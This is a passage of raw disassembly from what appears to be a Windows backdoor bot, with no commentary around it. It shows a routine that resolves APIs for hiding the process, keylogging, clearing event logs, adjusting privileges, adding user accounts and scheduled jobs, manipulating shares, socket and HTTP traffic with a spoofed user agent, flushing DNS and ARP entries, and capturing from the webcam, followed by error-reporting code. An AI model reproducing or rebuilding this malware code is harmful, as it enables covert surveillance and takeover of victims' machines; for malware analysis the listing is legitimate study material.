dword_4CB514, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB544, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB5BC, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CB6B4, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CB710, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB574, eax call esi ; GetProcAddress cmp dword_4CB700, ebx mov dword_4CB55C, eax jz short loc_409C11 cmp dword_4CB674, ebx jz short loc_409C11 cmp dword_4CB658, ebx jz short loc_409C11 cmp dword_4CB568, ebx jz short loc_409C11 cmp dword_4CB544, ebx jz short loc_409C11 cmp dword_4CB5BC, ebx jz short loc_409C11 cmp dword_4CB6B4, ebx jz short loc_409C11 cmp dword_4CB710, ebx jz short loc_409C11 cmp dword_4CB574, ebx jz short loc_409C11 cmp eax, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409B13+B8j ; sub_409B13+C0j ... mov dword_4CB714, 1 loc_409C1B: ; CODE XREF: sub_409B13+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CB68C, eax jz short loc_409C48 push 1 push ebx call eax jmp short loc_409C48 ; --------------------------------------------------------------------------- loc_409C33: ; CODE XREF: sub_409B13+1Dj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB718, eax mov dword_4CB714, 1 loc_409C48: ; CODE XREF: sub_409B13+117j ; sub_409B13+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_4270B8 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_409D5D push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CB6B0, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_4CB660, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB5F4, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CB704, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB624, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB644, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CB6A8, eax call esi ; GetProcAddress cmp dword_4CB6B0, ebx mov dword_4CB594, eax jz short loc_409D01 cmp dword_4CB660, ebx jz short loc_409D01 cmp dword_4CB5F4, ebx jz short loc_409D01 cmp dword_4CB704, ebx jz short loc_409D01 cmp dword_4CB624, ebx jz short loc_409D01 cmp dword_4CB644, ebx jz short loc_409D01 cmp dword_4CB6A8, ebx jz short loc_409D01 cmp eax, ebx jnz short loc_409D0B loc_409D01: ; CODE XREF: sub_409B13+1B8j ; sub_409B13+1C0j ... mov dword_4CB71C, 1 loc_409D0B: ; CODE XREF: sub_409B13+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB620, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB528, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB5F0, eax call esi ; GetProcAddress cmp dword_4CB620, ebx mov dword_4CB5D8, eax jz short loc_409D68 cmp dword_4CB528, ebx jz short loc_409D68 cmp dword_4CB5F0, ebx jz short loc_409D68 cmp eax, ebx jnz short loc_409D72 jmp short loc_409D68 ; --------------------------------------------------------------------------- loc_409D5D: ; CODE XREF: sub_409B13+144j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB720, eax loc_409D68: ; CODE XREF: sub_409B13+232j ; sub_409B13+23Aj ... mov dword_4CB71C, 1 loc_409D72: ; CODE XREF: sub_409B13+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_409F2B push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CB6C4, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB608, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB678, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB554, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB5B8, eax call esi ; GetProcAddress push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB630, eax call esi ; GetProcAddress push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB5D4, eax call esi ; GetProcAddress cmp dword_4CB6C4, ebx mov dword_4CB5E4, eax jz short loc_409E1B cmp dword_4CB608, ebx jz short loc_409E1B cmp dword_4CB678, ebx jz short loc_409E1B cmp dword_4CB554, ebx jz short loc_409E1B cmp dword_4CB5B8, ebx jz short loc_409E1B cmp dword_4CB630, ebx jnz short loc_409E25 loc_409E1B: ; CODE XREF: sub_409B13+2DEj ; sub_409B13+2E6j ... mov dword_4CB724, 1 loc_409E25: ; CODE XREF: sub_409B13+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB638, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB610, eax call esi ; GetProcAddress cmp dword_4CB638, ebx mov dword_4CB6C0, eax jz short loc_409E60 cmp dword_4CB610, ebx jz short loc_409E60 cmp eax, ebx jnz short loc_409E6A loc_409E60: ; CODE XREF: sub_409B13+33Fj ; sub_409B13+347j mov dword_4CB724, 1 loc_409E6A: ; CODE XREF: sub_409B13+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB648, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB530, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_4CB538, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB59C, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB5A0, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB54C, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB614, eax call esi ; GetProcAddress cmp dword_4CB648, ebx mov dword_4CB53C, eax jz short loc_409F0E cmp dword_4CB530, ebx jz short loc_409F0E cmp dword_4CB538, ebx jz short loc_409F0E cmp dword_4CB59C, ebx jz short loc_409F0E cmp dword_4CB5A0, ebx jz short loc_409F0E cmp dword_4CB54C, ebx jz short loc_409F0E cmp dword_4CB614, ebx jz short loc_409F0E cmp eax, ebx jnz short loc_409F18 loc_409F0E: ; CODE XREF: sub_409B13+3C5j ; sub_409B13+3CDj ... mov dword_4CB724, 1 loc_409F18: ; CODE XREF: sub_409B13+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_4CB534, eax jnz short loc_409F40 jmp short loc_409F36 ; --------------------------------------------------------------------------- loc_409F2B: ; CODE XREF: sub_409B13+26Aj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB728, eax loc_409F36: ; CODE XREF: sub_409B13+416j mov dword_4CB724, 1 loc_409F40: ; CODE XREF: sub_409B13+414j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40A00C push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB640, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CB698, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CB6A0, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB65C, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_4CB578, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_4CB524, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4CB69C, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB510, eax call esi ; GetProcAddress cmp dword_4CB640, ebx mov dword_4CB5B0, eax jz short loc_40A017 cmp dword_4CB698, ebx jz short loc_40A017 cmp dword_4CB6A0, ebx jz short loc_40A017 cmp dword_4CB65C, ebx jz short loc_40A017 cmp dword_4CB578, ebx jz short loc_40A017 cmp dword_4CB524, ebx jz short loc_40A017 cmp dword_4CB69C, ebx jz short loc_40A017 cmp dword_4CB510, ebx jz short loc_40A017 cmp eax, ebx jnz short loc_40A021 jmp short loc_40A017 ; --------------------------------------------------------------------------- loc_40A00C: ; CODE XREF: sub_409B13+438j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB730, eax loc_40A017: ; CODE XREF: sub_409B13+4B9j ; sub_409B13+4C1j ... mov dword_4CB72C, 1 loc_40A021: ; CODE XREF: sub_409B13+4F5j mov ebp, ds:dword_4270B8 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A2DD push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB5C4, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CB6F8, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB564, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB540, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB600, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB5E8, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4CB5AC, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CB6D4, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4CB6F0, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB5FC, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4CB6E0, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_4CB694, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_4CB654, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_4CB650, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_4CB584, eax call esi ; GetProcAddress push offset aSend_0 ; "send" push edi mov dword_4CB57C, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4CB6A4, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4CB6B8, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB66C, eax call esi ; GetProcAddress mov dword_4CB62C, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_4CB680, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_4CB63C, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_4CB67C, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4CB6E8, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_4CB634, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_4CB5F8, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB668, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CB6D8, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_4CB60C, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4CB5A8, eax call esi ; GetProcAddress cmp dword_4CB5C4, ebx mov dword_4CB6EC, eax jz loc_40A2E8 cmp dword_4CB6F8, ebx jz loc_40A2E8 cmp dword_4CB564, ebx jz loc_40A2E8 cmp dword_4CB600, ebx jz loc_40A2E8 cmp dword_4CB5E8, ebx jz loc_40A2E8 cmp dword_4CB5AC, ebx jz loc_40A2E8 cmp dword_4CB6D4, ebx jz loc_40A2E8 cmp dword_4CB6F0, ebx jz loc_40A2E8 cmp dword_4CB5FC, ebx jz loc_40A2E8 cmp dword_4CB6E0, ebx jz loc_40A2E8 cmp dword_4CB694, ebx jz loc_40A2E8 cmp dword_4CB654, ebx jz loc_40A2E8 cmp dword_4CB650, ebx jz loc_40A2E8 cmp dword_4CB584, ebx jz short loc_40A2E8 cmp dword_4CB6A4, ebx jz short loc_40A2E8 cmp dword_4CB6B8, ebx jz short loc_40A2E8 cmp dword_4CB66C, ebx jz short loc_40A2E8 cmp dword_4CB62C, ebx jz short loc_40A2E8 cmp dword_4CB680, ebx jz short loc_40A2E8 cmp dword_4CB63C, ebx jz short loc_40A2E8 cmp dword_4CB67C, ebx jz short loc_40A2E8 cmp dword_4CB6E8, ebx jz short loc_40A2E8 cmp dword_4CB634, ebx jz short loc_40A2E8 cmp dword_4CB5F8, ebx jz short loc_40A2E8 cmp dword_4CB668, ebx jz short loc_40A2E8 cmp dword_4CB6D8, ebx jz short loc_40A2E8 cmp dword_4CB60C, ebx jz short loc_40A2E8 cmp eax, ebx jnz short loc_40A2F2 jmp short loc_40A2E8 ; --------------------------------------------------------------------------- loc_40A2DD: ; CODE XREF: sub_409B13+51Fj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB738, eax loc_40A2E8: ; CODE XREF: sub_409B13+6BEj ; sub_409B13+6CAj ... mov dword_4CB734, 1 loc_40A2F2: ; CODE XREF: sub_409B13+7C6j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A3F7 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB590, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB518, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB61C, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB5C8, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB628, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB5EC, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB558, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB550, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB560, eax call esi ; GetProcAddress cmp dword_4CB590, ebx mov ecx, dword_4CB5EC mov dword_4CB688, eax jz short loc_40A3D3 cmp dword_4CB518, ebx jz short loc_40A3D3 cmp dword_4CB61C, ebx jz short loc_40A3D3 cmp dword_4CB5C8, ebx jz short loc_40A3D3 cmp dword_4CB628, ebx jz short loc_40A3D3 cmp ecx, ebx jz short loc_40A3D3 cmp dword_4CB558, ebx jz short loc_40A3D3 cmp dword_4CB550, ebx jz short loc_40A3D3 cmp dword_4CB560, ebx jz short loc_40A3D3 cmp eax, ebx jnz short loc_40A3DD loc_40A3D3: ; CODE XREF: sub_409B13+87Ej ; sub_409B13+886j ... mov dword_4CB73C, 1 loc_40A3DD: ; CODE XREF: sub_409B13+8BEj cmp ecx, ebx jz short loc_40A412 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_4CB604, eax jnz short loc_40A412 jmp short loc_40A40C ; --------------------------------------------------------------------------- loc_40A3F7: ; CODE XREF: sub_409B13+7EAj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB740, eax mov dword_4CB73C, 1 loc_40A40C: ; CODE XREF: sub_409B13+8E2j mov dword_4CB604, ebx loc_40A412: ; CODE XREF: sub_409B13+8CCj ; sub_409B13+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A45C push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB5DC, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CB70C, eax call esi ; GetProcAddress cmp dword_4CB5DC, ebx mov dword_4CB56C, eax jz short loc_40A467 cmp dword_4CB70C, ebx jz short loc_40A467 cmp eax, ebx jnz short loc_40A471 jmp short loc_40A467 ; --------------------------------------------------------------------------- loc_40A45C: ; CODE XREF: sub_409B13+90Aj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB748, eax loc_40A467: ; CODE XREF: sub_409B13+939j ; sub_409B13+941j ... mov dword_4CB744, 1 loc_40A471: ; CODE XREF: sub_409B13+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40A578 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB548, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB520, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB598, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB5CC, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CB6E4, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB580, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB52C, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB51C, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB5B4, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CB6AC, eax call esi ; GetProcAddress push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB664, eax call esi ; GetProcAddress cmp dword_4CB548, ebx mov dword_4CB588, eax jz short loc_40A583 cmp dword_4CB520, ebx jz short loc_40A583 cmp dword_4CB598, ebx jz short loc_40A583 cmp dword_4CB5CC, ebx jz short loc_40A583 cmp dword_4CB6E4, ebx jz short loc_40A583 cmp dword_4CB580, ebx jz short loc_40A583 cmp dword_4CB52C, ebx jz short loc_40A583 cmp dword_4CB51C, ebx jz short loc_40A583 cmp dword_4CB5B4, ebx jz short loc_40A583 cmp dword_4CB6AC, ebx jz short loc_40A583 cmp dword_4CB664, ebx jnz short loc_40A58D jmp short loc_40A583 ; --------------------------------------------------------------------------- loc_40A578: ; CODE XREF: sub_409B13+969j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB750, eax loc_40A583: ; CODE XREF: sub_409B13+A11j ; sub_409B13+A19j ... mov dword_4CB74C, 1 loc_40A58D: ; CODE XREF: sub_409B13+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A5C2 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB570, eax call esi ; GetProcAddress cmp dword_4CB570, ebx mov dword_4CB64C, eax jz short loc_40A5CD cmp eax, ebx jnz short loc_40A5D7 jmp short loc_40A5CD ; --------------------------------------------------------------------------- loc_40A5C2: ; CODE XREF: sub_409B13+A85j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB758, eax loc_40A5CD: ; CODE XREF: sub_409B13+AA7j ; sub_409B13+AADj mov dword_4CB754, 1 loc_40A5D7: ; CODE XREF: sub_409B13+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A60C push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CB6D0, eax call esi ; GetProcAddress cmp dword_4CB6D0, ebx mov dword_4CB6CC, eax jz short loc_40A617 cmp eax, ebx jnz short loc_40A621 jmp short loc_40A617 ; --------------------------------------------------------------------------- loc_40A60C: ; CODE XREF: sub_409B13+ACFj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB760, eax loc_40A617: ; CODE XREF: sub_409B13+AF1j ; sub_409B13+AF7j mov dword_4CB75C, 1 loc_40A621: ; CODE XREF: sub_409B13+AF5j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A680 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB6FC, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB6F4, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CB6BC, eax call esi ; GetProcAddress cmp dword_4CB6FC, ebx mov dword_4CB58C, eax jz short loc_40A68B cmp dword_4CB6F4, ebx jz short loc_40A68B cmp dword_4CB6BC, ebx jz short loc_40A68B cmp eax, ebx jnz short loc_40A695 jmp short loc_40A68B ; --------------------------------------------------------------------------- loc_40A680: ; CODE XREF: sub_409B13+B19j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB768, eax loc_40A68B: ; CODE XREF: sub_409B13+B55j ; sub_409B13+B5Dj ... mov dword_4CB764, 1 loc_40A695: ; CODE XREF: sub_409B13+B69j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A6CA push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB5C0, eax call esi ; GetProcAddress cmp dword_4CB5C0, ebx mov dword_4CB6C8, eax jz short loc_40A6D5 cmp eax, ebx jnz short loc_40A6DF jmp short loc_40A6D5 ; --------------------------------------------------------------------------- loc_40A6CA: ; CODE XREF: sub_409B13+B8Dj call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB770, eax loc_40A6D5: ; CODE XREF: sub_409B13+BAFj ; sub_409B13+BB5j mov dword_4CB76C, 1 loc_40A6DF: ; CODE XREF: sub_409B13+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A768 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CB690, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CB6DC, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB618, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB5D0, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CB670, eax call esi ; GetProcAddress cmp dword_4CB690, ebx mov dword_4CB5E0, eax jz short loc_40A773 cmp dword_4CB6DC, ebx jz short loc_40A773 cmp dword_4CB618, ebx jz short loc_40A773 cmp dword_4CB5D0, ebx jz short loc_40A773 cmp dword_4CB670, ebx jz short loc_40A773 cmp eax, ebx jnz short loc_40A77D jmp short loc_40A773 ; --------------------------------------------------------------------------- loc_40A768: ; CODE XREF: sub_409B13+BD7j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB778, eax loc_40A773: ; CODE XREF: sub_409B13+C2Dj ; sub_409B13+C35j ... mov dword_4CB774, 1 loc_40A77D: ; CODE XREF: sub_409B13+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40A7B2 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB5A4, eax call esi ; GetProcAddress cmp dword_4CB5A4, ebx mov dword_4CB684, eax jz short loc_40A7BD cmp eax, ebx jnz short loc_40A7C7 jmp short loc_40A7BD ; --------------------------------------------------------------------------- loc_40A7B2: ; CODE XREF: sub_409B13+C75j call ds:dword_42708C ; RtlGetLastWin32Error mov dword_4CB780, eax loc_40A7BD: ; CODE XREF: sub_409B13+C97j ; sub_409B13+C9Dj mov dword_4CB77C, 1 loc_40A7C7: ; CODE XREF: sub_409B13+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B13 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A7CF(int,char *Str,int,int) sub_40A7CF proc near ; CODE XREF: sub_401ACD+2537p Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+Str] push esi xor esi, esi cmp dword_4CB714, esi push edi mov edi, [ebp+arg_8] jz short loc_40A817 push dword_4CB718 lea eax, [ebp+Dest] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A817: ; CODE XREF: sub_40A7CF+1Aj cmp dword_4CB71C, esi jz short loc_40A84B push dword_4CB720 lea eax, [ebp+Dest] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A84B: ; CODE XREF: sub_40A7CF+4Ej cmp dword_4CB724, esi jz short loc_40A87F push dword_4CB728 lea eax, [ebp+Dest] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A87F: ; CODE XREF: sub_40A7CF+82j cmp dword_4CB72C, esi jz short loc_40A8B3 push dword_4CB730 lea eax, [ebp+Dest] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A8B3: ; CODE XREF: sub_40A7CF+B6j cmp dword_4CB734, esi jz short loc_40A8E7 push dword_4CB738 lea eax, [ebp+Dest] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A8E7: ; CODE XREF: sub_40A7CF+EAj cmp dword_4CB73C, esi jz short loc_40A91B push dword_4CB740 lea eax, [ebp+Dest] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A91B: ; CODE XREF: sub_40A7CF+11Ej cmp dword_4CB744, esi jz short loc_40A94F push dword_4CB748 lea eax, [ebp+Dest] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A94F: ; CODE XREF: sub_40A7CF+152j cmp dword_4CB74C, esi jz short loc_40A983 push dword_4CB750 lea eax, [ebp+Dest] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A983: ; CODE XREF: sub_40A7CF+186j cmp dword_4CB754, esi jz short loc_40A9B7 push dword_4CB758 lea eax, [ebp+Dest] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 20h loc_40A9B7: ; CODE XREF: sub_40A7CF+1BAj cmp dword_4CB75C, esi jz short loc_40A9EB push dword_4CB760 lea eax, [ebp+Dest] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax 